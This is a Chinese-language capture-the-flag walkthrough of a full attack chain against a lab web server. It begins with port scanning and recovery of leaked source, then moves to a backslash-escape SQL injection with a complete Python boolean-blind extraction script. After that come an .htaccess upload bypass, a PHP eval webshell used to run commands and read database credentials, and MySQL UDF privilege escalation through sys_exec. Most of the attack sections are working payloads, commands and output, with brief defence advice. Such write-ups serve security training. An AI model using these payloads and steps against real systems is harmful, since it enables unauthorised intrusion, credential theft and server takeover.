第一章 信息收集

1.1 端口扫描

渗透测试的第一步是对目标进行端口扫描,了解目标开放了哪些服务。使用 Nmap 进行扫描:

bash复制nmap -sT -sV -p- 10.10.1.187

扫描结果

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1
80/tcp   open  http    Apache/2.4.38 (Debian)
3306/tcp open  mysql   MySQL 5.7.44

分析

  • 22 端口:SSH 服务,可能用于后续的远程登录
  • 80 端口:Web 服务,主要攻击面
  • 3306 端口:MySQL 数据库,可能存在数据库相关漏洞

1.2 Web 服务探测

访问 Web 服务,发现是一个登录页面。使用 curl 获取页面信息:

bash复制curl -s -I http://10.10.1.187

响应头

HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.9
Set-Cookie: PHPSESSID=xxx; path=/

发现

  • Web 服务器:Apache 2.4.38
  • 后端语言:PHP 7.4.9
  • 存在 Session 机制

1.3 敏感文件探测的思维过程

在完成端口扫描和 Web 服务探测后,渗透测试人员需要进一步寻找可能泄露敏感信息的文件。这一步骤的目标是发现开发人员遗留的配置文件、备份文件或其他可能暴露系统信息的资源。

1.3.1 为什么要探测这些特定文件?

根据上一步的扫描结果,已知目标运行的是 Apache + PHP 环境。针对这一技术栈,需要有针对性地探测以下类型的文件:

文件类型探测目标探测原因
.index.php.swpVim 交换文件开发人员使用 Vim 编辑 PHP 文件时,如果异常退出(如断电、SSH 断开),Vim 会自动生成 .文件名.swp 格式的交换文件。这个文件包含了源代码的完整内容,如果未被清理就部署到生产环境,攻击者可以下载并恢复源码
index.php.bak备份文件开发人员在修改代码前常常会手动备份原文件,常见命名格式包括 .bak.old.backup~ 等后缀。这些备份文件通常不会被 PHP 解析器执行,而是直接以文本形式返回
robots.txt爬虫协议文件该文件用于告诉搜索引擎哪些目录不应该被索引。讽刺的是,这恰恰暴露了网站的敏感目录结构,如管理后台路径、私密文件夹等
.htaccessApache 配置文件这是 Apache 的分布式配置文件,可能包含 URL 重写规则、访问控制策略、自定义错误页面等敏感配置信息
upload.php文件上传功能根据 Web 应用的常见功能,登录后通常会有文件上传、用户管理等功能。探测 upload.php 是为了确认是否存在文件上传入口,这是获取 Webshell 的重要途径

1.3.2 探测方法的选择

在实际渗透测试中,可以使用多种工具进行敏感文件探测:

方法一:手动探测(适合针对性测试)

当已知目标技术栈时,可以针对性地探测特定文件:

bash复制# 针对 PHP + Apache 环境的敏感文件探测
for f in .index.php.swp index.php.bak robots.txt .htaccess upload.php; do
    echo "=== $f ===" 
    curl -s -o /dev/null -w "%{http_code}" "http://10.10.1.187/$f"
    echo ""
done

方法二:使用目录扫描工具(适合全面扫描)

bash复制# 使用 dirsearch 进行目录扫描
dirsearch -u http://10.10.1.187 -e php,txt,bak,swp,old

# 使用 gobuster 进行目录扫描
gobuster dir -u http://10.10.1.187 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak

1.3.3 探测结果分析

执行探测后,根据 HTTP 状态码判断文件是否存在:

HTTP 状态码含义说明
200OK文件存在且可访问
301/302重定向文件存在但需要跳转(可能需要登录)
403Forbidden文件存在但禁止访问
404Not Found文件不存在

本次探测结果

=== .index.php.swp ===
200    <-- 文件存在!发现 Vim 交换文件泄露

=== index.php.bak ===
404    <-- 文件不存在

=== robots.txt ===
404    <-- 文件不存在

=== .htaccess ===
403    <-- 文件存在但禁止访问(Apache 默认配置)

=== upload.php ===
302    <-- 文件存在,重定向到登录页(需要认证)

关键发现

  • .index.php.swp 返回 200,存在 Vim 交换文件泄露,这是本次渗透的重要突破口
  • upload.php 返回 302,说明存在文件上传功能,但需要先登录才能访问

1.3.4 渗透测试思维总结

敏感文件探测不是盲目地尝试所有可能的文件名,而是需要:

  1. 根据技术栈选择目标:不同的技术栈有不同的敏感文件类型
    • PHP:.php.swp.php.bakconfig.php
    • Java:.java.classWEB-INF/web.xml
    • Python:.pyrequirements.txt__pycache__
  2. 理解文件产生的原因:知道为什么会存在这些文件,才能更有针对性地探测
    • 编辑器临时文件:Vim 的 .swp、Emacs 的 ~
    • 版本控制泄露:.git.svn
    • 备份文件:.bak.old.backup
  3. 结合业务逻辑推测:根据应用功能推测可能存在的页面
    • 登录页面通常伴随注册、找回密码功能
    • 后台管理通常有文件上传、用户管理功能

1.4 源码泄露分析

1.4.1 Vim 交换文件的恢复原理

Vim 交换文件(.swp)是 Vim 编辑器的自动保存机制。当用户编辑文件时,Vim 会创建一个以 . 开头、以 .swp 结尾的隐藏文件,用于存储编辑过程中的内容。如果 Vim 异常退出,这个文件会被保留。

恢复方法

bash复制# 方法一:使用 strings 命令提取可读字符串
curl -s "http://10.10.1.187/.index.php.swp" -o index.php.swp
strings index.php.swp

# 方法二:使用 vim -r 恢复原始文件(更完整)
vim -r index.php.swp
# 在 vim 中执行 :w index.php.recovered 保存恢复的文件

1.4.2 源码审计的关键点

下载并分析源码后,需要重点关注以下几个方面:

  1. 用户输入处理:查看用户输入是否经过充分过滤
  2. 数据库操作:查看 SQL 语句是否使用参数化查询
  3. 安全函数:分析 WAF 或过滤函数的实现逻辑
  4. 敏感信息:查找硬编码的密码、密钥、API Token 等

1.4.3 关键代码分析

从恢复的源码中,发现以下关键代码:

WAF 过滤函数

php复制function waf($str){
    $ban_str = explode(',','select,ascii,sub,con,alter table,delete ,drop ,
    update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,
    eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,
    drop%20,and%20');
    foreach($ban_str as $v1){
        if (contain($str, $v1)){
            $s = lvlarrep($str, $v1);  // 递归替换
            $str = $s;
        }
    }
    $str = str_replace('\'', '&#39;', $str);  // 单引号转义
    return $str;
}

登录 SQL 语句

php复制$sql = "SELECT * FROM user WHERE `username` = '$username' AND `password` = '$password';";

1.4.4 index.php 核心代码逻辑精讲

为了更透彻地理解漏洞,我们需要对这段 PHP 代码的执行逻辑进行深度拆解。这段代码是一个典型的"带 WAF 的登录验证"逻辑。

1. 黑名单定义 ($ban_str) 开发者定义了一个极其庞大的黑名单,试图拦截所有可能的 SQL 注入关键字:

  • 查询类selectunionload_file
  • 操作类insertupdatedeletedropalter
  • 函数类asciisub (对应 substr), sleepuserphpinfo
  • 符号类'/**/<script

2. 过滤逻辑的核心缺陷 代码使用了 foreach 遍历黑名单,并调用 lvlarrep 函数进行递归替换

  • 递归替换的初衷:开发者希望将 select 替换为空,如果攻击者输入 selselectect,替换一次后变成 select,开发者希望通过递归继续替换,直到字符串中不再包含关键字。
  • 实际效果:正是这种"聪明"的递归替换(或者特定的替换逻辑实现),往往留下了双写绕过的空间。如果替换逻辑是从左到右进行一次性匹配和删除,那么双写确实可以绕过。但在本例中,配合后续的测试发现,双写 selselectect 确实成功保留了 select,说明过滤机制存在逻辑漏洞。

3. 单引号转义与反斜杠遗漏

php复制$str = str_replace('\'', '&#39;', $str);

这一行代码是导致 反斜杠注入 的直接原因。

  • 它的作用:将所有的单引号 ' 替换为 HTML 实体 &#39;。这通常是为了防止 XSS,但在 SQL 上下文中,也能破坏闭合。
  • 它的疏忽没有处理反斜杠 \。在 MySQL 中,\ 是转义字符。攻击者输入 admin\,经过 WAF 后依然是 admin\。当它进入 SQL 语句: username = 'admin\' 末尾的反斜杠转义了包裹 username 值的结束单引号,导致 SQL 解析器继续向后吞噬字符串,直到遇到下一个单引号。

4. 登录验证流程 代码最后构建 SQL 语句并执行:

  • 如果查询结果为空,返回登录失败。
  • 如果查询有结果(无论结果是什么),返回登录成功。 这就是为什么我们可以使用 布尔盲注:我们只需要构造一个 SQL 语句,使其逻辑结果为真(返回数据)或假(不返回数据),通过页面的"成功/失败"反馈来推断信息。

1.4.5 漏洞分析与利用思路

通过源码审计,发现以下安全问题:

问题代码位置影响利用方法
SQL 注入登录 SQL 语句用户输入直接拼接到 SQL 中构造恶意输入绕过认证或提取数据
WAF 绕过lvlarrep 函数使用递归替换而非直接拒绝双写关键字绕过,如 selselectect
单引号处理不当str_replace单引号被转换但反斜杠未处理使用反斜杠转义单引号

关键发现

  1. WAF 的致命缺陷:WAF 使用递归替换(str_ireplace)而不是直接拒绝恶意请求。这意味着如果输入 selselectect,WAF 会删除中间的 select,留下 select,从而绕过过滤。
  2. 反斜杠未过滤:虽然单引号 ' 被转换为 &#39;,但反斜杠 \ 没有被处理。在 SQL 中,反斜杠可以转义下一个字符,这为构造注入提供了可能。
  3. SQL 语句结构:登录语句的结构为 WHERE username='$u' AND password='$p',如果能让 username 的值"吞掉"后面的单引号,就可以在 password 参数中注入 SQL 代码。

第二章 SQL 注入攻击

2.1 攻击思路的形成

在第一章的源码审计中,已经发现了三个关键问题:

  1. SQL 语句使用字符串拼接而非参数化查询
sql复制SELECT * FROM user WHERE `username` = '①...②' AND `password` = '③...④';

(注:这里为了演示,暂时忽略变量内容,①/②是包裹 username 的引号,③/④是包裹 password 的引号)

  1. WAF 使用递归替换可以被双写绕过
  2. 反斜杠字符未被过滤 现在需要将这些发现转化为实际的攻击方案.

2.2 反斜杠注入原理深度解析

2.2.1 核心机制:引号配对原则

要理解这个漏洞,首先要理解 MySQL 解析器是如何识别字符串的:MySQL 从左到右解析 SQL 语句,寻找成对出现的单引号

  1. 原则一:字符串以第一个单引号开始。
  2. 原则二:字符串以下一个未被转义的单引号结束。
  3. 原则三:两个单引号中间的所有内容(包括空格、AND、password 字段名、等号等)统统被视为字符串的内容,不会被当作 SQL 命令执行。

2.2.2 漏洞触发过程图解

让我们给原始 SQL 语句中的四个单引号编上号:

sql复制SELECT * FROM user WHERE `username` = '①...②' AND `password` = '③...④';
  • ① 号引号:username 值的开始
  • ② 号引号:username 值的结束
  • ③ 号引号:password 值的开始
  • ④ 号引号:password 值的结束

场景 A:正常输入 输入:username = admin SQL:... WHERE username= '①admin②' ANDpassword = '③...④' ...

  • 解析:①是开始,②是结束。
  • 结果:username 的值是 admin

场景 B:恶意输入(反斜杠注入) 输入:username = admin\ SQL:... WHERE username= '①admin\' ANDpassword = '③...④' ...

这里的关键变化在于:反斜杠 \ 转义了原本用于结束字符串的单引号 ②

  • ① 号引号:字符串正常开始。
  • ② 号引号:因为前面有 \,它变成了普通字符 ',失去了结束字符串的功能。
  • 解析器继续向后找:寻找下一个能结束字符串的单引号。
  • ③ 号引号:原本是 password 值的开始引号,现在被迫变成了 username 值的结束引号

2.2.3 最终的 SQL 结构

根据上述解析,SQL 语句被重新切分成了三个部分:

sql复制SELECT * FROM user WHERE `username` = 'admin\' AND `password` = ' or 1=1-- '
                                      |_________________________|
                                                  ^
                                          这一整段变成了 username 的值
  1. username 的值admin' AND password=
    • 注意:这个字符串包含了 AND 关键字、password 列名以及后面的等号 =
    • 范围正是从 ① 号引号开始,到 ③ 号引号结束。
  2. 原本的 password 位置:现在脱离了引号的包围,变成了 SQL 语句的一部分。我们在这里输入的 or 1=1-- 就变成了有效的 SQL 逻辑。
  3. 注入结果:SQL 逻辑变为 WHERE (username = '...') OR (1=1),因为 1=1 永远为真,所以绕过了登录验证。
sql复制SELECT * FROM user WHERE `username` = 'admin\' AND `password` = ' or 1=1-- ';
-- 简化理解:
SELECT * FROM user WHERE `username` = '一个包含AND和password的乱七八糟字符串' or 1=1-- ';

2.3 验证 SQL 注入

2.3.1 布尔盲注的验证方法

在无法直接看到 SQL 查询结果的情况下,可以通过构造条件语句来判断注入是否成功。这种技术称为布尔盲注(Boolean-based Blind SQL Injection)。

验证原理

  • 构造一个永真条件(如 or 1=1),如果注入成功,应该返回正常结果
  • 构造一个永假条件(如 or 1=2),如果注入成功,应该返回异常结果
  • 通过对比两种情况的响应差异,确认注入点是否存在
bash复制# 测试永真条件 or 1=1(应该返回登录成功)
curl -s -X POST "http://10.10.1.187/" \
  -d 'login=1&username=admin\&password= or 1=1-- '

# 测试永假条件 or 1=2(应该返回登录失败)
curl -s -X POST "http://10.10.1.187/" \
  -d 'login=1&username=admin\&password= or 1=2-- '

测试结果

  • or 1=1:返回"登陆成功"(页面显示登录成功)
  • or 1=2:返回"哦欧"(页面显示登录失败)

两种条件产生了不同的响应,确认存在布尔盲注漏洞

2.3.2 为什么不能直接获取数据?

在本案例中,虽然可以通过 SQL 注入绕过登录验证,但无法直接在页面上看到数据库查询的结果。这是因为:

  1. 应用程序只返回"登录成功"或"登录失败"两种状态
  2. 没有错误信息泄露(无报错注入的可能)
  3. 没有数据回显点(无联合查询注入的可能)

因此,需要使用布尔盲注技术,通过逐字符猜测的方式提取数据。

2.4 布尔盲注提取 Flag1

2.4.1 布尔盲注的工作原理

布尔盲注的核心思想是:通过构造条件语句,逐字符猜测目标数据,根据页面响应判断猜测是否正确

提取数据的步骤

  1. 确定数据长度:使用 LENGTH() 函数判断目标字段的长度sql复制or LENGTH(password)=1-- or LENGTH(password)=2-- ... or LENGTH(password)=43-- <-- 当长度为 43 时返回"登录成功"
  2. 逐字符提取:使用 MID() 和 ORD() 函数逐个提取字符的 ASCII 码sql复制or ORD(MID(password,1,1))=102-- <-- 第1个字符的ASCII码是102,即'f' or ORD(MID(password,2,1))=108-- <-- 第2个字符的ASCII码是108,即'l' or ORD(MID(password,3,1))=97-- <-- 第3个字符的ASCII码是97,即'a' ...

为什么使用 ORD() 和 MID() 而不是 ASCII() 和 SUBSTR()?

这并非随机选择,而是基于对 1.4.3 节 WAF 源码的精准分析。

  1. 黑名单机制的直接证据: 在 index.php 的源码中,我们看到了明确的黑名单定义:php复制$ban_str = explode(',','select,ascii,sub,...');
    • 被封锁ascii 和 sub 都在黑名单中。如果直接使用 ASCII() 或 SUBSTR()/SUBSTRING(),会被 WAF 识别并过滤(尽管 WAF 有递归替换漏洞,但直接避开是更优解)。
    • 未封锁ord 和 mid 不在黑名单中。这直接允许我们绕过检测。
  2. MID() 的替代原理
    • 同义词属性:根据 MySQL 官方文档,MID(str,pos,len) 是 SUBSTRING(str,pos,len) 的标准同义词(Synonym)。它们功能完全相同,但名字不同,刚好绕过对 "sub" 关键字的匹配。
    • 语法MID(column_name, start, length),例如 MID(password, 1, 1) 截取密码的第 1 位字符。
  3. ORD() 的替代原理
    • 功能覆盖ORD() 函数用于获取字符的数值编码。对于单字节字符(如 ASCII 字符),它的返回值与 ASCII() 函数完全一致。
    • 绕过逻辑:由于 WAF 只封锁了 ascii 关键字,使用 ORD() 可以达到同样的效果(将字符转换为数字以便比较),且完全隐形。

总结:渗透测试不是死记硬背工具,而是根据环境(源码/WAF规则)灵活选择同义函数(Synonyms)来达成目的。

2.4.2 自动化提取脚本

编写 Python 脚本进行布尔盲注,自动提取数据库中的密码(即 flag1):

python复制#!/usr/bin/env python3
import requests
import string

url = 'http://10.10.1.187/'

def test_bool(username, password):
    sess = requests.session()
    post_data = {
        'login': '1',
        'username': username,
        'password': password
    }
    try:
        resp = sess.post(url, data=post_data, timeout=5)
        return '登陆成功' in resp.text
    except:
        return False

user_payload = 'admin\\'

# 获取密码长度
print("[*] Finding password length...")
for length in range(1, 100):
    payload = f" or length(password)={length}-- "
    if test_bool(user_payload, payload):
        print(f"[+] Password length: {length}")
        pwd_len = length
        break

# 使用 ORD 和 MID 进行字符提取
print("[*] Extracting password character by character...")
password = ''
for pos in range(1, pwd_len + 1):
    for code in range(32, 127):
        payload = f" or ord(mid(password,{pos},1))={code}-- "
        if test_bool(user_payload, payload):
            password += chr(code)
            print(f"[+] Password[{pos}]: {chr(code)} -> {password}")
            break

print(f"\n[*] Final password: {password}")

2.4.3 脚本功能详解

第一部分:导入模块和定义目标

python复制#!/usr/bin/env python3
import requests      # HTTP 请求库,用于发送 POST 请求
import string        # 字符串常量库(本脚本未实际使用,可有可无)

url = 'http://10.10.1.187/'  # 目标登录页面 URL

第二部分:布尔判断函数

python复制def test_bool(username, password):
    """
    核心函数:发送登录请求并判断 SQL 条件是否为真
    
    参数:
        username: 用户名字段的值(包含注入 payload)
        password: 密码字段的值(包含注入 payload)
    
    返回:
        True  - 页面包含"登陆成功",说明 SQL 条件为真
        False - 页面不包含"登陆成功",说明 SQL 条件为假
    """
    sess = requests.session()  # 创建会话对象,保持 Cookie
    post_data = {
        'login': '1',          # 触发登录逻辑的参数
        'username': username,  # 注入点 1
        'password': password   # 注入点 2
    }
    try:
        resp = sess.post(url, data=post_data, timeout=5)
        return '登陆成功' in resp.text  # 通过页面内容判断条件真假
    except:
        return False  # 网络错误时返回 False

为什么这样设计?

布尔盲注的核心是:通过页面响应的差异来判断 SQL 条件是否为真

  • 当 SQL 条件为真时,查询返回结果,页面显示"登陆成功"
  • 当 SQL 条件为假时,查询无结果,页面显示"哦欧"(登录失败)

这个函数封装了这个判断逻辑,后续只需调用 test_bool() 并传入不同的 payload,就能知道对应的 SQL 条件是真还是假。

第三部分:构造注入 payload

python复制user_payload = 'admin\\'  # 用户名设为 admin\(反斜杠转义后面的单引号)

为什么用户名是 admin\

回顾 SQL 语句结构:

sql复制SELECT * FROM user WHERE `username` = '$username' AND `password` = '$password';

当 username = admin\ 时,SQL 变为:

sql复制SELECT * FROM user WHERE `username` = 'admin\' AND `password` = '[我们的payload]';
                                            ^^
                                            反斜杠转义了这个单引号

此时 username 的值变成了 admin' AND password = ,而 password 参数的位置变成了可控的 SQL 代码注入点。

第四部分:获取密码长度

python复制print("[*] Finding password length...")
for length in range(1, 100):  # 尝试长度从 1 到 99
    payload = f" or length(password)={length}-- "
    #           ^                              ^^
    #           |                              SQL 注释符,忽略后面的内容
    #           空格开头,与前面的单引号形成 ' or ...
    
    if test_bool(user_payload, payload):
        print(f"[+] Password length: {length}")
        pwd_len = length
        break  # 找到正确长度后退出循环

payload 构造解析

当 length=43 时,完整的 SQL 语句变为:

sql复制SELECT * FROM user WHERE `username` = 'admin\' AND `password` = ' or length(password)=43-- ';

等效于:

sql复制SELECT * FROM user WHERE `username` = '一个字符串' or length(password)=43;
-- 如果 password 字段长度确实是 43,则 or 后面的条件为真,整个 WHERE 为真
-- 查询返回结果,页面显示"登陆成功"

为什么从 1 到 100 遍历?

因为不知道密码的具体长度,所以需要逐个尝试。当某个长度值使条件为真时,就找到了正确的密码长度。

第五部分:逐字符提取密码

python复制print("[*] Extracting password character by character...")
password = ''  # 存储提取出的密码

for pos in range(1, pwd_len + 1):  # 遍历每个字符位置(MySQL 字符串下标从 1 开始)
    for code in range(32, 127):     # 遍历可打印 ASCII 字符(32-126)
        payload = f" or ord(mid(password,{pos},1))={code}-- "
        #              ^^^     ^^^
        #              |       |
        #              |       MID(str, pos, len): 从 str 的第 pos 位取 len 个字符
        #              ORD(char): 返回字符的 ASCII 码
        
        if test_bool(user_payload, payload):
            password += chr(code)  # chr() 将 ASCII 码转为字符
            print(f"[+] Password[{pos}]: {chr(code)} -> {password}")
            break  # 找到当前位置的字符后,进入下一个位置

payload 构造解析

以提取第 1 个字符为例,当 pos=1, code=102 时:

sql复制SELECT * FROM user WHERE ... or ord(mid(password,1,1))=102-- ';
  • mid(password,1,1) 取 password 的第 1 个字符
  • ord(...) 返回该字符的 ASCII 码
  • 如果第 1 个字符是 f(ASCII 码 102),条件为真,页面返回"登陆成功"

为什么用 ORD() 和 MID()?

  1. 绕过 WAF:WAF 过滤了 ascii 和 sub 关键字,但没有过滤 ord 和 mid
  2. 功能等价
    • ORD(char) = ASCII(char):返回字符的 ASCII 码
    • MID(str,pos,len) = SUBSTR(str,pos,len):截取子字符串

为什么遍历 32-127?

ASCII 码 32-126 是可打印字符的范围:

  • 32: 空格
  • 48-57: 数字 0-9
  • 65-90: 大写字母 A-Z
  • 97-122: 小写字母 a-z
  • 其他: 标点符号例如:{|}以及 ` flag 通常由字母、数字和特殊字符组成,都在这个范围内。

2.4.4 脚本执行流程图

Diagram

2.4.5 时间复杂度分析

  • 获取长度:最多 100 次请求
  • 提取字符:每个字符最多 95 次请求(127-32),共 43 个字符
  • 总请求数:最多 100 + 43 × 95 = 4185 次请求

优化思路

  1. 二分查找:将每个字符的查找从 O(95) 降到 O(log95) ≈ 7 次
  2. 多线程:并行提取多个位置的字符
  3. 字符集优化:根据 flag 格式,优先尝试常见字符

执行结果

[*] Finding password length...
[+] Password length: 43
[*] Extracting password character by character...
[+] Password[1]: f -> f
[+] Password[2]: l -> fl
[+] Password[3]: a -> fla
[+] Password[4]: g -> flag
...
[*] Final password: flag1{75813557-25c4-456c-8a44-6a4d4c62c859}

获取 Flag1flag1{75813557-25c4-456c-8a44-6a4d4c62c859}

2.5 SQL 注入防御建议

  1. 使用参数化查询:使用 PDO 或 MySQLi 的预处理语句
  2. 输入验证:对用户输入进行严格的白名单验证
  3. 最小权限原则:数据库用户只授予必要的权限
  4. 错误处理:不要向用户显示详细的数据库错误信息

第三章 文件上传绕过

3.1 攻击思路的形成

在第一章的信息收集中,已经发现 upload.php 返回 302 状态码,说明存在文件上传功能但需要登录才能访问。现在已经通过 SQL 注入获取了 admin 的密码(flag1),可以登录后台尝试利用文件上传功能获取 Webshell。

攻击目标:上传一个可执行的 PHP 文件(Webshell),获取服务器的命令执行权限。

3.2 登录后台

使用获取到的 flag1 作为 admin 密码登录:

bash复制curl -s -X POST "http://10.10.1.187/" \
  -d "login=1&username=admin&password=flag1{75813557-25c4-456c-8a44-6a4d4c62c859}" \
  -c /tmp/cookies.txt -L

成功登录后进入文件上传页面。

3.3 文件上传漏洞分析

3.3.1 常见的文件上传防护机制

Web 应用通常会对上传的文件进行多层检查:

检查类型检查方法绕过思路
扩展名黑名单禁止 .php.phtml 等使用其他可执行扩展名如 .phar.php5
扩展名白名单只允许 .jpg.png 等利用解析漏洞或配置文件
MIME 类型检查检查 Content-Type修改请求头中的 Content-Type
文件内容检查检查文件头魔数在 PHP 代码前添加图片文件头
文件大小限制限制上传文件大小压缩代码或分片上传

3.3.2 为什么选择 .htaccess 绕过?

根据第一章的信息收集,目标服务器是 Apache。Apache 有一个特性:允许在目录中放置 .htaccess 文件来覆盖服务器配置。如果:

  1. Apache 配置了 AllowOverride All 或 AllowOverride FileInfo
  2. 文件上传功能没有过滤 .htaccess 文件

那么攻击者可以上传一个 .htaccess 文件,修改该目录下的文件解析规则,使任意文件被当作 PHP 执行。

这种方法的优势

  • 不需要猜测服务器支持哪些 PHP 扩展名
  • 可以让任意文件名(甚至没有扩展名)被解析为 PHP
  • 绕过了基于扩展名的黑白名单检查

3.4 上传 .htaccess 文件

3.4.1 .htaccess 文件的作用

.htaccess 是 Apache 的分布式配置文件,可以在不修改主配置文件的情况下,对特定目录进行配置。常用的指令包括:

  • SetHandler:设置文件的处理程序
  • AddType:添加 MIME 类型映射
  • RewriteRule:URL 重写规则

3.4.2 构造恶意 .htaccess

创建 .htaccess 文件,使文件名为 "abc" 的文件被当作 PHP 执行:

bash复制cat > /tmp/.htaccess << 'EOF'
<FilesMatch "abc">
SetHandler application/x-httpd-php
</FilesMatch>
EOF

配置解释

  • <FilesMatch "abc">:匹配文件名为 "abc" 的文件
  • SetHandler application/x-httpd-php:将匹配的文件交给 PHP 处理程序处理

为什么使用 "abc" 而不是 ".php"

因为上传功能很可能禁止了 .php 扩展名,但不会禁止没有扩展名或使用无害扩展名的文件。通过 .htaccess,可以让服务器将任意文件名解析为 PHP。

3.4.3 上传 .htaccess

bash复制curl -s -X POST "http://10.10.1.187/upload.php" \
  -b /tmp/cookies.txt \
  -F "fileToUpload=@/tmp/.htaccess" \
  -F "submit=上传文件"

3.5 上传 Webshell

3.5.1 什么是 Webshell?

Webshell 是一种通过 Web 服务执行的后门程序,通常是一个 PHP/ASP/JSP 脚本,允许攻击者通过 HTTP 请求执行服务器命令。

常见的 Webshell 类型

类型特点示例
一句话木马代码极简,功能强大<?php @eval($_POST['cmd']);?>
大马功能完整,有图形界面中国菜刀、蚁剑等配套使用
内存马无文件落地,难以检测通过反序列化注入内存

3.5.2 创建并上传 Webshell

创建一句话木马(文件名为 abc,与 .htaccess 中的配置匹配):

bash复制cat > /tmp/abc << 'EOF'
<?php
@eval($_POST['hack']);
?>
EOF

# 上传 webshell
curl -s -X POST "http://10.10.1.187/upload.php" \
  -b /tmp/cookies.txt \
  -F "fileToUpload=@/tmp/abc" \
  -F "submit=上传文件"

代码解释

  • @:错误抑制符,隐藏可能的错误信息
  • eval():将字符串当作 PHP 代码执行
  • $_POST['hack']:从 POST 请求中获取名为 "hack" 的参数

3.6 验证 Webshell

测试 webshell 是否可以执行命令:

bash复制curl -s -X POST "http://10.10.1.187/uploads/abc" \
  -d 'hack=system("id");'

输出

uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功获取 Web 容器的命令执行权限!当前用户是 www-data,这是 Apache 的默认运行用户。

3.7 进一步信息收集

获取 Webshell 后,需要进行进一步的信息收集,为后续提权做准备:

bash复制# 查看系统信息
curl -s -X POST "http://10.10.1.187/uploads/abc" \
  -d 'hack=system("uname -a");'

# 检查是否在 Docker 容器中
curl -s -X POST "http://10.10.1.187/uploads/abc" \
  -d 'hack=system("ls -la /.dockerenv");'

# 查看环境变量(可能包含敏感信息)
curl -s -X POST "http://10.10.1.187/uploads/abc" \
  -d 'hack=system("env");'

发现

  • 存在 /.dockerenv 文件,说明当前处于 Docker 容器
  • 环境变量中包含 MySQL 数据库的连接信息

3.8 文件上传防御建议

  1. 白名单验证:只允许上传特定类型的文件(如 .jpg.png
  2. 重命名文件:上传后使用随机文件名,避免攻击者预测文件路径
  3. 存储隔离:将上传文件存储在 Web 根目录之外,或使用对象存储服务
  4. 禁用 .htaccess:在 Apache 配置中设置 AllowOverride None
  5. 文件内容检查:使用文件类型检测库验证文件真实类型
  6. 权限控制:上传目录禁止执行权限

第四章 MySQL UDF 提权

4.1 攻击思路的形成

在上一章中,已经获取了 Web 容器的命令执行权限,但当前用户是 www-data,权限有限。通过信息收集发现:

  1. 当前处于 Docker 容器中(存在 /.dockerenv 文件)
  2. 环境变量中包含 MySQL root 密码
  3. MySQL 服务运行在另一个容器中(主机名为 db

攻击思路:利用 MySQL root 权限进行 UDF 提权,在 MySQL 容器中获取命令执行能力,然后寻找进一步提权的方法。

4.2 获取数据库凭据

4.2.1 为什么要关注环境变量?

在 Docker 环境中,敏感信息(如数据库密码)通常通过环境变量传递给容器。这是 Docker 的常见配置方式,但也带来了安全风险:任何能够执行命令的用户都可以读取这些环境变量。

bash复制curl -s -X POST "http://10.10.1.187/uploads/abc" \
  --data-urlencode 'hack=system("env | grep -i mysql");'

输出

MYSQL_PASSWORD=xzPzdsKJmUMdPand
MYSQL_HOST=db
MYSQL_USER=root
MYSQL_DATABASE=ctf

关键发现

  • 数据库用户是 root(最高权限)
  • 数据库主机是 db(Docker 内部网络主机名)
  • 获取了明文密码

4.3 UDF 提权原理详解

4.3.1 什么是 UDF?

UDF(User Defined Function,用户自定义函数)是 MySQL 提供的扩展机制,允许用户通过共享库(.so 文件)添加自定义函数。这些函数可以在 SQL 语句中像内置函数一样使用。

4.3.2 UDF 提权的原理

如果攻击者能够:

  1. 将恶意的共享库文件写入 MySQL 的 plugin 目录
  2. 使用 CREATE FUNCTION 语句注册自定义函数

那么就可以在 MySQL 进程的权限下执行任意系统命令。

常用的 UDF 函数

函数名返回类型功能
sys_execINTEGER执行命令,返回退出码
sys_evalSTRING执行命令,返回输出结果

4.3.3 UDF 提权的前提条件

条件检查方法说明
MySQL root 权限已知 root 密码需要 FILE 权限写入文件
secure_file_priv 配置SELECT @@secure_file_priv必须为空或指向 plugin 目录
知道 plugin 目录路径SELECT @@plugin_dir需要将 UDF 文件写入此目录
目标系统架构uname -m32 位和 64 位系统使用不同的 UDF 文件

4.4 检查 MySQL 环境

bash复制# 在 Kali 上连接 MySQL
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl \
  -e "SELECT version(); SELECT @@plugin_dir; SELECT @@secure_file_priv;"

输出

version(): 5.7.44
@@plugin_dir: /usr/lib64/mysql/plugin/
@@secure_file_priv: (NULL - 无限制)

4.5 准备 UDF 文件

使用 sqlmap 自带的 UDF 库文件:

bash复制# 解密 sqlmap 的 64 位 UDF 文件
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \
  -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \
  -o /tmp/lib_mysqludf_sys_64.so

# 检查文件类型
file /tmp/lib_mysqludf_sys_64.so
# 输出: ELF 64-bit LSB shared object, x86-64

# 转换为十六进制
xxd -p /tmp/lib_mysqludf_sys_64.so | tr -d '\n' > /tmp/udf64_hex.txt

4.6 写入 UDF 文件并创建函数

bash复制# 读取十六进制内容
UDF_HEX=$(cat /tmp/udf64_hex.txt)

# 写入 UDF 文件到 MySQL plugin 目录
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl \
  -e "SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys_64.so';"

# 创建 sys_exec 函数
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl \
  -e "CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys_64.so';"

4.7 测试命令执行

bash复制# 执行命令并将输出写入文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('id > /tmp/out.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('whoami >> /tmp/out.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT sys_exec('chmod 644 /tmp/out.txt');" mysql

# 读取输出
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
  -e "SELECT LOAD_FILE('/tmp/out.txt');" mysql

输出

uid=999(mysql) gid=999(mysql) groups=999(mysql)
mysql

